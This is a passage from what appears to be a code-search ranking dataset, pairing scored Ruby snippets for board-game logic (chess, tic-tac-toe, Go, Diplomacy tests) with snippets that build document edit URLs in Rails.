"text": "def test_move(piece, target, color)\n\t\ttarget_holder = @board[target]\n\t\tcurrent_holder = @board[piece]\n\t\t@board[target] = @board[piece]\n\t\t@board[piece] = Square.new\n\t\tcheck_for_pawn_at_end\t\t\n\t\tget_all_moves\n\t\tresult = king_in_check(color)\n\t\t@board[piece] = current_holder\n\t\t@board[target] = target_holder\n\t\tget_all_moves\n\t\tresult\n\tend", "title": "" }, { "docid": "4c2d020ec3241ed6dee04b7237fefd20", "score": "0.61440444", "text": "def pc_play\n\tputs \"Computer player says: 'It's my turn!'\"\t\n#best position for the first step\n\n\tif @board[4] == 5\n\t\t@input = 5\n\t\tputs \"I go #{@input} of course\"\n\telse\n\t\tpc_check = false\n\n#attack: try to win\n\t\tif @first == \"y\" # pc use \"X\"\n\t\t\tfor i in 0..@board_count.length-1\n\t\t\t\t@board_test = @board.clone\n\t\t\t\tif pc_check == false\n\t\t\t\t\t@input = @board_count[i]\n\t\t\t\t\t@board_test[@board_test.index(@input.to_i)] = \"X\"\n\t\t\t\t\tif judgement_test(@board_test) == true\n\t\t\t\t\t\tpc_check = true\n\t\t\t\t\tend\t\n\t\t\t\tend\t\n\t\t\tend\n\t\telse # pc use \"O\"\n\t\t\tfor i in 0..@board_count.length-1\n\t\t\t\t@board_test = @board.clone\n\t\t\t\tif pc_check == false\n\t\t\t\t\t@input = @board_count[i]\n\t\t\t\t\t@board_test[@board_test.index(@input.to_i)] = \"O\"\n\t\t\t\t\tif judgement_test(@board_test) == true\n\t\t\t\t\t\tpc_check = true\n\t\t\t\t\tend\t\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\t\n\n#defence: try no to lose\t\t\n\t\tif @first == \"y\" # pc use \"X\"\n\t\t\tfor i in 0..@board_count.length-1\n\t\t\t\t@board_test = @board.clone\n\t\t\t\tif pc_check == false\n\t\t\t\t\t@input = @board_count[i]\n\t\t\t\t\t@board_test[@board_test.index(@input.to_i)] = \"O\"\n\t\t\t\t\tif judgement_test(@board_test) == true\n\t\t\t\t\t\tpc_check = true\n\t\t\t\t\tend\t\n\t\t\t\tend\t\n\t\t\tend\n\t\telse # pc use \"O\"\n\t\t\tfor i in 0..@board_count.length-1\n\t\t\t\t@board_test = @board.clone\n\t\t\t\tif pc_check == false\n\t\t\t\t\t@input = @board_count[i]\n\t\t\t\t\t@board_test[@board_test.index(@input.to_i)] = \"X\"\n\t\t\t\t\tif judgement_test(@board_test) == true\n\t\t\t\t\t\tpc_check = true\n\t\t\t\t\tend\t\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\t\n#I have question here: too much duplicate code\n#random\n\t\tif pc_check == false\n\t\t\t@input = @board_count.sample\n\t\t\tputs \"I go #{@input} for random\"\n\t\tend\t\n\tend\t\n\tgo_ttt\nend", "title": "" }, { "docid": "a96e70308c0cb026a60484f12bd705b5", "score": "0.6142407", "text": "def special_piece\n\t@current_block = MyPiece.special_piece(self)\n\t@current_pos = nil\n\t@cheat = false\n end", "title": "" }, { "docid": "c01ff85af18ff9c51e27e66a89c88698", "score": "0.6141123", "text": "def test_4\n turn.clear_pieces\n g = germany.make_piece(\"a ber\")\n r = russia.make_piece(\"a war\")\n germany.submit_orders(\"a ber-sil\")\n russia.submit_orders(\"a war-sil\")\n game.judge\n assert_bounced g\n assert_bounced r\n end", "title": "" }, { "docid": "a305268d7d662151b690869aa3c16f51", "score": "0.6134919", "text": "def add_piece (space, type)\n\n return :full unless space.type == :empty # You can only place pieces on empty spaces.\n\n same = []\n other = []\n\n # First, create a new Stones group containing space. Temporarily add type.\n group = Stones.new(type)\n group.members.push(space)\n space.type = type\n\n # Next, examine neighbors.\n each_neighbor(space) do |neighbor|\n\n # Merge neighboring group with self if same type.\n if neighbor.type == type\n same.push(neighbor.group)\n group.merge(neighbor.group)\n else\n\n # Add neighbor to boarder_mems if not already there (due to previous merging)\n group.boarder_mems.push(neighbor) unless group.boarder_mems.include?(neighbor)\n\n # Do the same for it's group if other-color (territory isn't grouped until scoring)\n unless neighbor.type == :empty\n other.push(neighbor.group)\n group.boarder_grps.push(neighbor.group) unless group.boarder_grps.include?(neighbor.group)\n end\n end\n end\n\n captures = []\n @ataris = []\n\n # Capture any eligible neighboring groups\n other.each do |other_grp|\n liberties = other_grp.get_liberties\n if liberties.empty?\n captures.push(other_grp)\n detach(other_grp)\n elsif liberties.length == 1\n @ataris.push(liberties[0])\n end\n end\n\n \n liberties = group.get_liberties\n board_state = make_ref()\n\n # Check self for suicide or illegal ko state,\n # abort and return condition if true.\n if captures.empty?\n if liberties.empty?\n space.type = :empty\n return :suicide\n end\n else\n if @history.include?(board_state)\n space.type = :empty\n captures.each do |group|\n attach(group)\n end\n return :ko\n end\n @history.push(board_state)\n end\n\n # Move approved.\n @ataris.push(liberties[0]) if liberties.length == 1\n @history.push(board_state) unless @ataris.empty? || @history.include?(board_state)\n\n cap_stones = 0\n captures.each do |other_grp|\n cap_stones += other_grp.members.length\n end\n\n same.each do |same_grp|\n detach(same_grp)\n end\n attach(group)\n\n return cap_stones\n end", "title": "" }, { "docid": "a802889dffebc6eb6fe65cdf233b3fc3", "score": "0.61239934", "text": "def take_best_piece\n test_board = @display.board.dup\n best_move = nil\n best_value = -10000\n\n moves.shuffle.each do |move|\n test_board.make_move(move)\n value = -@board_evaluator.simple_score(test_board, @color)\n test_board.undo\n if value > best_value\n best_value = value\n best_move = move\n end\n end\n best_move\n end", "title": "" }, { "docid": "f7dba1743d9dfa98491873ddd9d920cf", "score": "0.61149", "text": "def computer_move(game_arr)\n index = look_for_win(game_arr)\n if !index \n index = look_for_block(game_arr)\n end\n \n if index\n pos = index + 1\n else\n # no win or block, so go random\n pos = find_empty_pos(game_arr)\n end\n set_marker(game_arr, COMPUTER, pos) if pos\nend", "title": "" }, { "docid": "a79f6599198c2daf24916b8167392e31", "score": "0.6100841", "text": "def find_computer_piece\n loop do\n square = board[rand(63)]\n next if square.current_piece == ' ' || square.current_piece.colour == 'White'\n\n current_player.selected_grid = Generic.find_square(square.position, board)\n current_player.selected_piece = current_player.selected_grid.current_piece\n next if find_legal_move != true\n\n return\n end\n end", "title": "" }, { "docid": "0a110ed08edb0eba06c9459a3d2db9cb", "score": "0.6087145", "text": "def find_random_move\n @board.legal_moves.sample\n end", "title": "" }, { "docid": "c285d7cd3f0fd28814649b45759264ff", "score": "0.6084943", "text": "def perform_action\n info = $board.square_info(*$player.center)\n x, y = $board.square(*$player.center)\n case info[:piece]\n when :target # remove target from list and change square piece/color\n $board.grid[x][y].merge!({ r: 0, g: 255, b: 0, piece: :hitting })\n remove_item(x, y, $target_list)\n $args.outputs.sounds << 'sounds/tink.wav' # 'sounds/click.wav'\n $consecutive = 0 # reset counter\n when :empty\n $in_progress = false # reset when no action to perform\n when :slash then deflect(:slash)\n when :backslash then deflect(:backslash)\n end\nend", "title": "" }, { "docid": "4ace6966738cdec0985dd476a9138c64", "score": "0.6084052", "text": "def test_30\n turn.clear_pieces\n fa = france.make_piece \"a tun\"\n ff = france.make_piece \"f tys\"\n if1 = italy.make_piece \"f ion\"\n if2 = italy.make_piece \"f nap\"\n france.submit_orders %{\n a tun-tys-nap\n f tys c a tun-nap\n }\n italy.submit_orders %{\n f ion-tys\n f nap s f ion-tys\n }\n game.judge\n assert_moved if1, \"ion\", \"tys\"\n assert_dislodged ff\n assert_stayed fa\n end", "title": "" }, { "docid": "a47bf6917d1e97d4c940279f0f0f1fa2", "score": "0.6072015", "text": "def testFull\n putPieces(@X,@X,@X,@o,@o,@o,@X)\n putPieces(@o,@o,@o,@X,@X,@X,@o)\n putPieces(@X,@X,@X,@o,@o,@o,@X)\n putPieces(@o,@o,@o,@X,@X,@X,@o)\n putPieces(@X,@X,@X,@o,@o,@o,@X)\n putPieces(@o,@o,@o,@X,@X,@X,@o)\n assert(!@winCondition.win(@board,@ySize-1,0))\n end", "title": "" }, { "docid": "efb2914eb635056e2275fb80ef3be429", "score": "0.606379", "text": "def ai_defensive(brd)\n to_mark = WINNING_LINES[about_to_win?(brd, PLAYER_MARKER)].select do |i|\n brd[i] == INITIAL_MARKER\n end\n to_mark.pop\nend", "title": "" }, { "docid": "e3fc18e3cfcce711930413e7355b3f2a", "score": "0.6063018", "text": "def computer_turn\n \n #If it is the first round, we implement 'first round strategy'.\n\n if $computer_points == []\n computer_move = first_round_strategy(computer_move)\n else\n computer_move = rand(9)\n end\n\n if $game_grid[computer_move] == $e\n $game_grid[computer_move] = $o\n $computer_points << (computer_move + 1)\n $computer_points = $computer_points.sort\n puts\n else\n computer_turn\n end\nend", "title": "" }, { "docid": "b8c8f1dc913d196cf39cd6c9f2aa4a77", "score": "0.60624224", "text": "def pawn_promotion(to, piece)\n i, j = to\n options = [Queen, Bishop, Rook, Knight, Pawn]\n if piece.color == :white && i.zero?\n pawn_promotion_message(options)\n choose_piece(to)\n elsif piece.color == :black && i == 7\n pawn_promotion_message(options)\n choose_piece(to)\n end\n end", "title": "" }, { "docid": "f2b0c7f2a3d61cd9d1f17b1a423635ad", "score": "0.6046782", "text": "def test_check\n self.move_piece([6,5], [5,5])\n self.move_piece([1,4], [2,4])\n self.move_piece([6,7], [4,7])\n self.move_piece([0,3], [4,7])\n end", "title": "" }, { "docid": "66775dc89a0427f542ca529cb025d438", "score": "0.6039218", "text": "def random_move(brd)\n open_spots(brd).sample\nend", "title": "" }, { "docid": "e9251cc1561b0e5052bfc16076d10b49", "score": "0.6028671", "text": "def computer_drop_chip(board_parameter)\n\n system(\"clear\")\n counter = 0\n computer_selection = rand(1..8) - 1\n\n board_parameter.each do | row |\n\n if row[computer_selection] == 0\n counter+=1\n end\n\n end\n\n board_parameter[counter - 1][computer_selection] = -1\n build_board(board_parameter)\n\nend", "title": "" }, { "docid": "225bdd319d6cf0315ade4d0ef3c056fa", "score": "0.60277015", "text": "def choose_randomly(door, plan, passengers)\n occupied, unoccupied = occupied_and_not(plan, passengers)\n unoccupied.sample\nend", "title": "" }, { "docid": "5d3c4c511740e9aec50d4e3843dc35a6", "score": "0.6026556", "text": "def test_28\n turn.clear_pieces\n ea = england.make_piece \"a lon\"\n ef = england.make_piece \"f nth\"\n fa = france.make_piece \"a bel\"\n ff = france.make_piece \"f eng\"\n england.submit_orders %{\n a lon-nth-bel\n f nth c a lon-bel\n }\n france.submit_orders %{\n a bel-eng-lon\n f eng c a bel-lon\n }\n game.judge\n assert_moved ea, \"lon\", \"bel\"\n assert_moved fa, \"bel\", \"lon\"\n end", "title": "" }, { "docid": "85b5c55e2d8dc8fc664b506a5558101b", "score": "0.60231763", "text": "def best_move\n find_at_risk_square(mark) ||\n find_at_risk_square(@human.mark) ||\n center_square ||\n corner_play ||\n board.unmarked_keys.sample\n end", "title": "" }, { "docid": "2ffcfce7419766f17a3202a94587fbbe", "score": "0.6022907", "text": "def pieces_in_danger\n all_positions = board.all_positions(self.color.split(\"\")[0])\n valid_pieces = pieces_with_valid_moves(all_positions).uniq\n piece_positions = valid_pieces.map {|piece| board.return_piece_positions(piece, color)}.flatten(1)\n enemy_moves = get_all_moves(game.enemy_color(self.color))\n intersection = piece_positions & enemy_moves\n\n if !intersection.empty?\n most_valuable_piece_pos = choose_valuable_piece(intersection)\n most_valuable_piece = board.return_piece(most_valuable_piece_pos).to_s.split(\"\")[1].downcase.to_sym\n valid_moves = valid_move(self.color, most_valuable_piece, most_valuable_piece_pos, board)\n safe_move_intersection = @safe_moves & valid_moves\n\n if !valid_moves.empty? && most_valuable_piece != :p\n safe_move_intersection.empty? ? most_valuable_piece_move = select_random(valid_moves) : most_valuable_piece_move = select_random(safe_move_intersection)\n if safe_move?(most_valuable_piece_pos, most_valuable_piece_move, most_valuable_piece)\n @vulnerable_piece_hash[:vulnerable_piece_pos] = most_valuable_piece_pos\n @vulnerable_piece_hash[:vulnerable_piece] = most_valuable_piece\n @vulnerable_piece_hash[:vulnerable_piece_move] = most_valuable_piece_move\n end\n else\n @vulnerable_piece_hash[:vulnerable_piece_pos] = nil\n @vulnerable_piece_hash[:vulnerable_piece] = nil\n @vulnerable_piece_hash[:vulnerable_piece_move] = nil\n end\n else\n @vulnerable_piece_hash[:vulnerable_piece_pos] = nil\n @vulnerable_piece_hash[:vulnerable_piece] = nil\n @vulnerable_piece_hash[:vulnerable_piece_move] = nil\n end\n end", "title": "" }, { "docid": "a74c80ef3751932e24bf68583427d016", "score": "0.60140365", "text": "def comp_one_more_draw\n @c_draw = @deck.sample\n @deck.delete(@c_draw)\n\t@c_hand = @c_hand + @c_draw\n\tputs \"The computer drew #{@c_draw}.\"\n\tputs \"\"\n\tputs \"Final score. Your hand = #{@p_hand}. Computer hand = #{@c_hand}.\"\n\tif @c_hand > 21\n\t puts \"The computer busted. You win!\"\n\telsif @c_hand == @p_hand\n\t puts \"It's a tie. Wow! Try again.\"\n\telsif @c_hand > @p_hand\n\t puts \"The computer hand is bigger. You lose. Try again.\"\n\telse\n\t puts \"Your hand is bigger. You win!\"\n\tend\nend", "title": "" }, { "docid": "0f137b6bf3e4f70b0e14052f6de08c80", "score": "0.6005883", "text": "def robotMove(board) # stub\n block = block(board)\n # detect any moves to avoid and remove them\n avoid = avoidMoves(board)\n moves = [0,1,2,3,4,5,6]\n moves -= avoid if !avoid.nil?\n # check for winning moves\n winMove = buildWin(board, moves)\n \n if !winMove.nil?\n board.addDisc(:O, winMove)\n elsif !block.nil? # move to block detected\n board.addDisc(:O, block)\n else\n board.addDisc(:O, moves.sample)\n end\n #return rand(7) \nend", "title": "" }, { "docid": "dcd4e2ecb252de1bfa04e562e26435bf", "score": "0.59955454", "text": "def do_chance(location)\n @chance = Chance.dup if @chance.length == 0\n pick = @chance.delete_at(rand(@chance.length))\n case pick\n when :nextrr\n case location\n when :ch1 then ret = :r2\n when :ch2 then ret = :r3\n when :ch3 then ret = :r1\n end\n when :nextu\n case location\n when :ch1 then ret = :u1\n when :ch2 then ret = :u2\n when :ch3 then ret = :u1\n end\n when :back3\n case location\n when :ch1 then ret = :t1\n when :ch2 then ret = :d3\n when :ch3 then ret = do_community_chest(:cc3)\n end\n when nil\n ret = location\n else\n ret = pick\n end\n end", "title": "" }, { "docid": "e890824afc12c980e40f19dcb4124e92", "score": "0.5991164", "text": "def computer_play_first_center\n if @starter_player == \"computer\" # can delete this line??\n p @round\n if @round == 0 # round 0 - computer plays centre\n POSITIONS[\"5\"] = \"[]\"\n COMPUTER_MOVES[\"ROUND_0\"] = \"5\"\n elsif @round == 1 # round 1 - computer move dependent on human_player move in round 0\n CORNER_POSITIONS.each do |position|\n if POSITIONS[position] == \"x\"\n POSITIONS[OPPOSITE_CORNERS_FOR_CORNER[position]] = \"[]\"\n COMPUTER_MOVES[\"ROUND_1\"] = OPPOSITE_CORNERS_FOR_CORNER[position]\n CORNER_POSITIONS.delete(position)\n else\n # human_player has put their first piece on a side\n SIDE_POSITIONS.each do |position|\n p POSITIONS[position] == \"x\"\n if POSITIONS[position] == \"x\" # play postion on either opposite corner\n position_chosen = OPPOSITE_CORNERS_FOR_SIDES[position].sample\n POSITIONS[position_chosen] = \"[]\"\n COMPUTER_MOVES[\"ROUND_1\"] = position_chosen\n # TODO: remember why we delete this..\n SIDE_POSITIONS.delete(position)\n end\n end\n end\n end\n elsif @round == 2\n # TODO: check_if_win_close # if they have 2 of 3 then will need to block else go with offensive strategy\n # check if either diagonals are equal to zero (this means that they are filled with noughts or crosses)\n # if the below condition is true it also means that they have selected a corner position\n if [\"1\", \"3\", \"7\", \"9\"].include?(HUMAN_MOVES[\"ROUND_0\"])\n # we already know that the moves so far create a diagonal on the board\n # if the human_players next move is a side position (a mistake) then we set a trap via a triangle\n # need to check if the side position is next to their initial position or not as this will change the triangle created\n if HUMAN_MOVES[\"ROUND_0\"] == \"1\"\n HUMAN_MOVES[\"ROUND_1\"] == \"2\" || HUMAN_MOVES[\"ROUND_1\"] == \"8\" ? POSITIONS[\"3\"] = \"[]\" : POSITIONS[\"7\"] = \"[]\"\n elsif HUMAN_MOVES[\"ROUND_0\"] == \"9\"\n HUMAN_MOVES[\"ROUND_1\"] == \"2\" || HUMAN_MOVES[\"ROUND_1\"] == \"8\" ? POSITIONS[\"7\"] = \"[]\" : POSITIONS[\"3\"] = \"[]\"\n end\n else # this else means that the human_player has selected a side position for round 0\n # below will need to be refactored for if human player doesnt block - then you should go for the win\n # actually this can go in the different check_win function?\n\n # look at how to refactor this is messy - is based on the case statement below - but needed to set the computer moves in here also\n if HUMAN_MOVES[\"ROUND_0\"] == \"2\" && COMPUTER_MOVES[\"ROUND_1\"] == \"9\" || HUMAN_MOVES[\"ROUND_0\"] == \"6\" && COMPUTER_MOVES[\"ROUND_1\"] == \"1\"\n POSITIONS[\"3\"] = \"[]\"\n COMPUTER_MOVES[\"ROUND_2\"] = \"3\"\n elsif HUMAN_MOVES[\"ROUND_0\"] == \"2\" && COMPUTER_MOVES[\"ROUND_1\"] == \"7\" || HUMAN_MOVES[\"ROUND_0\"] == \"4\" && COMPUTER_MOVES[\"ROUND_1\"] == \"3\"\n POSITIONS[\"1\"] = \"[]\"\n COMPUTER_MOVES[\"ROUND_2\"] = \"1\"\n elsif HUMAN_MOVES[\"ROUND_0\"] == \"4\" && COMPUTER_MOVES[\"ROUND_1\"] == \"9\" || HUMAN_MOVES[\"ROUND_0\"] == \"8\" && COMPUTER_MOVES[\"ROUND_1\"] == \"1\"\n POSITIONS[\"7\"] = \"[]\"\n COMPUTER_MOVES[\"ROUND_2\"] = \"7\"\n elsif HUMAN_MOVES[\"ROUND_0\"] == \"6\" && COMPUTER_MOVES[\"ROUND_1\"] == \"7\" || HUMAN_MOVES[\"ROUND_0\"] == \"8\" && COMPUTER_MOVES[\"ROUND_1\"] == \"3\"\n POSITIONS[\"9\"] = \"[]\"\n COMPUTER_MOVES[\"ROUND_2\"] = \"9\"\n end\n\n # case\n # when HUMAN_MOVES[\"ROUND_0\"] == \"2\" && COMPUTER_MOVES[\"ROUND_1\"] == \"9\" then POSITIONS[\"3\"] = \"[]\", COMPUTER_MOVES[\"ROUND_2\"] = \"3\"\n # when HUMAN_MOVES[\"ROUND_0\"] == \"2\" && COMPUTER_MOVES[\"ROUND_1\"] == \"7\" then POSITIONS[\"1\"] = \"[]\"\n # when HUMAN_MOVES[\"ROUND_0\"] == \"4\" && COMPUTER_MOVES[\"ROUND_1\"] == \"3\" then POSITIONS[\"1\"] = \"[]\"\n # when HUMAN_MOVES[\"ROUND_0\"] == \"4\" && COMPUTER_MOVES[\"ROUND_1\"] == \"9\" then POSITIONS[\"7\"] = \"[]\"\n # when HUMAN_MOVES[\"ROUND_0\"] == \"6\" && COMPUTER_MOVES[\"ROUND_1\"] == \"7\" then POSITIONS[\"9\"] = \"[]\"\n # when HUMAN_MOVES[\"ROUND_0\"] == \"6\" && COMPUTER_MOVES[\"ROUND_1\"] == \"1\" then POSITIONS[\"3\"] = \"[]\"\n # when HUMAN_MOVES[\"ROUND_0\"] == \"8\" && COMPUTER_MOVES[\"ROUND_1\"] == \"1\" then POSITIONS[\"7\"] = \"[]\"\n # when HUMAN_MOVES[\"ROUND_0\"] == \"8\" && COMPUTER_MOVES[\"ROUND_1\"] == \"3\" then POSITIONS[\"9\"] = \"[]\"\n # end\n end\n elsif @round == 3\n # check_if_win_close(\"computer\") # here we want to pass an instance of computer?\n check_if_win_close_computer\n check_if_win_close(\"human\")\n\n end\n end\n end", "title": "" }, { "docid": "15cae3bcd41c0b9dd58dd658e5306b70", "score": "0.5990113", "text": "def dumb_computer_player\n\t\tif !game_complete\n\t\trandom_try = false\n\n\t\t\t# Tries randomly and checks if it is a valid input\n\t\t\twhile !random_try\n\t\t\t\trandom_row = rand(0..@current_layout.length-1)\n\t\t\t\trandom_sticks = rand(0..@current_layout[random_row])\n\t\t\t\trandom_try = check_move(@comp_type, random_row, random_sticks)\n \t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "c54f887506646d223cb6b11bf6e51f14", "score": "0.59860796", "text": "def get_move\n \n attacking_pieces = @board.find_pieces(@color).select{|piece| !piece.attack_moves.empty?}\n #no attacks available\n #if no attacks available, iterate through every single piece and it's moves (double loop)\n #find the move for the minimum number of threatened pieces\n #make a holder for the minimum piece and its move\n if attacking_pieces.empty?\n all_moving_pieces = @board.find_pieces(@color)\n\n #stores the best possible moves\n piece_move_hash = Hash.new(0)\n threatened_difference = 10\n threatening_difference = 0\n\n number_threatened = @board.threatened_pieces_number(@color)\n enemy_color = (@color == :white ? :black : :white)\n number_threatening = @board.threatened_pieces_number(enemy_color)\n\n #pieces that can move into unthreatened spaces\n mobile_pieces = @board.find_mobile_pieces(@color)\n\n if mobile_pieces.empty?\n select_piece = all_moving_pieces.sample\n select_move = select_piece.moves.sample\n return [select_piece.pos,select_move]\n end\n\n mobile_pieces.each do |piece|\n piece.moves.each do |move|\n from = piece.pos\n dup_board = @board.dup\n dup_board.move!(@color,from,move)\n number_threatened_after = dup_board.threatened_pieces_number(@color)\n number_threatening_after = dup_board.threatened_pieces_number(enemy_color)\n #want this to be smallest\n new_threatened_difference = number_threatened_after - number_threatened\n #want this to be largest\n new_threatening_difference = number_threatening_after - number_threatening\n #update piece_move_hash\n if new_threatened_difference < threatened_difference\n threatened_difference = new_threatened_difference\n threatening_difference = new_threatening_difference\n piece_move_hash = Hash.new(0)\n piece_move_hash[piece] = move\n elsif new_threatened_difference == threatened_difference && new_threatening_difference > threatening_difference\n threatening_difference = new_threatening_difference\n piece_move_hash = Hash.new(0)\n piece_move_hash[piece] = move\n elsif new_threatened_difference == threatened_difference && new_threatening_difference == threatening_difference\n piece_move_hash[piece] = move\n end\n end\n end\n select_piece,select_move = piece_move_hash.to_a.sample\n\n return [select_piece.pos,select_move]\n #attack\n else\n select_piece = attacking_pieces.sample\n select_move = select_piece.attack_moves.sample\n\n return [select_piece.pos,select_move]\n end\n end", "title": "" }, { "docid": "4fff58d68862f1ce6fcfac90299ba8a5", "score": "0.5985429", "text": "def first_round_strategy(computer_move)\n if $player_points == [1]\n computer_move = 8\n elsif $player_points == [3]\n computer_move = 6\n elsif $player_points == [7]\n computer_move = 2\n elsif $player_points == [9]\n computer_move = 0\n else\n computer_move = rand(9)\n end\n return computer_move\nend", "title": "" }, { "docid": "23319efbc473b478aa5c6827fafd293a", "score": "0.59801614", "text": "def find_random_move\n @board.legal_moves.sample\n end", "title": "" }, { "docid": "74c32756b99395b5d3173b006fcfeda0", "score": "0.59791607", "text": "def test_cheat_function_case2\n @new_board = TestMyBoard2.new\n @new_board.start_cheating\n @new_score = @new_board.score\n @new_board.next_piece\n @new_piece = @new_board.current_block\n assert_equal(@new_score, 50)\n assert(@new_piece.current_rotation != [[0, 0]])\n end", "title": "" }, { "docid": "83cd2b042d15d43d6737ec85a7bbda56", "score": "0.5971536", "text": "def test_make_moves\n board = GameBoard.new\n list = [[6,2,2,0],[5,3,0,1],[5,4,1,1],[3,5,3,0],[4,5,4,0],[3,6,1,1],\n [4,6,3,0],[5,6,1,0],[2,7,4,1],[3,7,1,0],[3,8,0,0],[2,9,2,1]]\n list.each do |i|\n i[3] = (i[3] == 0) ? \"white\" : \"black\"\n end\n list.each do |i|\n x = i[3]\n i[3] = i[2]\n i[2] = x\n end\n board.fill_board(list)\n assert(!board.move_piece(5,4,3,4,\"black\"),\"not moving\")\n assert(!board.move_piece(6,2,4,4,\"black\"),\"not make move\")\n assert(board.move_piece(6,2,4,4,\"white\"),\"make move\")\n assert(board.move_piece(4,4,6,2,\"white\"),\"make move\")\n assert(!board.move_piece(3,7,4,7,\"white\"),\"not make move\")\n assert(board.move_piece(3,5,1,8,\"white\"),\"make move\")\n assert(!board.move_piece(5,6,2,8,\"white\"),\"not make move\")\n assert(board.move_piece(5,6,1,9,\"white\"),\"make move\")\n assert(board.move_piece(3,8,4,7,\"white\"),\"make move\")\n assert(board.move_piece(6,2,4,4,\"white\"),\"make move\")\n assert(board.move_piece(5,4,3,8,\"black\"),\"make move\")\n assert(board.place_piece(5,5,\"white\",4),\"add beatle\")\n assert(board.move_piece(5,5,4,5,\"white\"),\"make move\")\n assert(board.move_piece(4,5,4,6,\"white\"), \"beatl move on top\")\n assert(board.move_piece(4,6,3,7,\"white\"),\"make move\")\n assert(board.move_piece(4,6,4,8,\"white\"),\"make move\")\n assert(board.move_piece(2,7,3,7,\"black\"),\"make move\")\n assert(board.move_piece(3,7,4,7,\"black\"),\"make move\")\n assert(board.move_piece(4,7,4,6,\"black\"),\"make move\")\n assert(board.move_piece(3,7,2,8,\"white\"),\"make move\")\n \nend", "title": "" }, { "docid": "9717084e64ab8b80685b9e7644b8e2f5", "score": "0.5969612", "text": "def penalty\n shoot = [0, 1]\n goal = shoot.sample\n end", "title": "" } ]
c9fadf599108ad88df7e87fff38e6ce7
does the same thing as edit_document but has a differnt url name suitable url name for when creating documents rather then editing it
[ { "docid": "82790e9de23c282dfca494d40e38ab62", "score": "0.6289341", "text": "def create\r\n edit_document\r\n render :action=>\"edit_document\"\r\n end", "title": "" } ]
[ { "docid": "f63b3eeebdaa406200a0464cd74581cb", "score": "0.7050116", "text": "def url_for_document doc\n doc\n end", "title": "" }, { "docid": "13b56df6a7c027c21465d2e30f19930d", "score": "0.6650247", "text": "def document_edit_link(document_id,return_url,return_text='Return')\n update_token\n @edit_link_request.link_for(:GET,'',{ \n :launchDiagramId => document_id, \n :returnURL => return_url, \n :returnButtonText=> return_text})\n end", "title": "" }, { "docid": "1af7386cff4ac946f8fa8ed302611033", "score": "0.6643351", "text": "def doc_url; end", "title": "" }, { "docid": "f010d57aadf1413c5794fbaab70280d0", "score": "0.65788925", "text": "def document_url\n key = @work.model_name.singular_route_key\n Rails.application.routes.url_helpers.send(key + \"_url\", @work.id)\n end", "title": "" }, { "docid": "ed2a1e570f0d23bc138844ba99020fdf", "score": "0.65357167", "text": "def edit_doc(doc)\n Utility::check_types({ doc=>Document }) if $DEBUG\n @status = -1\n return false if !@url\n turl = @url + \"/edit_doc\"\n reqheads = [ \"Content-Type: text/x-estraier-draft\" ]\n reqheads.push(\"Authorization: Basic \" + Utility::base_encode(@auth)) if @auth\n reqbody = doc.dump_draft\n rv = Utility::shuttle_url(turl, @pxhost, @pxport, @timeout, reqheads, reqbody, nil, nil)\n @status = rv\n rv == 200\n end", "title": "" }, { "docid": "6b40521f98642dffddd26d5e59e34e47", "score": "0.6531631", "text": "def edit_object_url (*args); edit_object_route('url', *extract_object_plus_options(args)); end", "title": "" }, { "docid": "77256ef3e965637dfee8b9823ec7cfa2", "score": "0.65237045", "text": "def edit_url\n nil\n end", "title": "" }, { "docid": "5662d00fc3b54fdb9ba7d71c24530f09", "score": "0.65235704", "text": "def url_for_bookmark doc, options = {}\n require 'cgi'\n \n if doc and doc[\"DocId\"]\n # if doc exists and has this field\n id = doc[\"DocId\"]\n layer = doc[\"layercodename_display\"]\n local_name = get_uri_localname(id)\n \"/bookmarks/\" + local_name + \"?DocId=\" + id + \"&layerId=\" + layer.to_s\n else \n #Does what this code would do without our updates \n doc \n end\n end", "title": "" }, { "docid": "b8dbea26988054cc9b72fd68fd93abf5", "score": "0.65162724", "text": "def obj_edit_url(obj) #:doc:\n Mokio::Content.subclasses.each do |s|\n if \"mokio/#{obj_name}\" == s.to_s.tableize.singularize\n return send(\"edit_content_path\", obj)\n end\n end\n return \"#{Mokio::Engine.routes.url_helpers.root_path}#{obj.class.to_s.tableize.gsub(\"mokio/\", \"\")}/#{obj.id}/edit\"\n end", "title": "" }, { "docid": "48434fed7076c706d75c522cd663392c", "score": "0.6495112", "text": "def document_url\n key = document.model_name.singular_route_key\n Rails.application.routes.url_helpers.send(key + \"_url\", document.id)\n end", "title": "" }, { "docid": "48434fed7076c706d75c522cd663392c", "score": "0.6495112", "text": "def document_url\n key = document.model_name.singular_route_key\n Rails.application.routes.url_helpers.send(key + \"_url\", document.id)\n end", "title": "" }, { "docid": "b254667294034e39dd080e457b4437cd", "score": "0.6472392", "text": "def url\n url_opts = @url_opts.merge(({ id: @document } if @document) || {})\n if @action.path\n helpers.public_send(@action.path, url_opts)\n elsif url_opts[:id].class.respond_to?(:model_name)\n helpers.url_for([@action.key.to_sym, url_opts[:id]])\n else\n helpers.public_send(\"#{@action.key}_#{helpers.controller_name}_path\", url_opts)\n end\n end", "title": "" }, { "docid": "c8f16f5b5bfe352e010aa47edec599aa", "score": "0.6460902", "text": "def edit_object_url (object = current_object); edit_object_route(object, 'url'); end", "title": "" }, { "docid": "65ba3ec933c428507c1c98c10aff821e", "score": "0.6443255", "text": "def document_link; end", "title": "" }, { "docid": "02d500e019a85d124076258af56e5b04", "score": "0.6443252", "text": "def url_for_document doc, options = {}\n require 'cgi'\n if respond_to?(:blacklight_config) and\n blacklight_config.show.route and\n (!doc.respond_to?(:to_model) or doc.to_model.is_a? SolrDocument)\n route = blacklight_config.show.route.merge(action: :show, id: doc).merge(options)\n route[:controller] = controller_name if route[:controller] == :current\n route\n else\n # This branch is the one executed for a search results index page \n if doc and doc[\"DocId\"]\n # IF doc exists and has this field\n # One mechanism is to return the doc itself (Ruby can recognize that it is an object and create the appropriate url)\n # In that case, the url would be catalog/id\n # but here, we want to ensure we pass the DocId parameter and we are escaping the ID in the parameter \n # Additionally, we tried updating the doc id to be the escaped uri, but that did not work correctly\n # What we are doing here is passing the local name (which has no slashes, etc. that could throw either apache or ruby off)\n # and then utilizing the normal behavior for showing a document but passing in the parameter as well\n # Code on the solr document helper side knows to expect that parameter and utilize that for the solr document id if it exists\n # Not passing in a local name in the url would make the code expect this was some search query, and without a query it jsut\n # goes back to the front page\n id = doc[\"DocId\"]\n local_name = get_uri_localname(id)\n \"/catalog/\" + local_name + \"?DocId=\" + id\n else \n #Does what this code would do without our updates \n doc \n end\n end\n end", "title": "" }, { "docid": 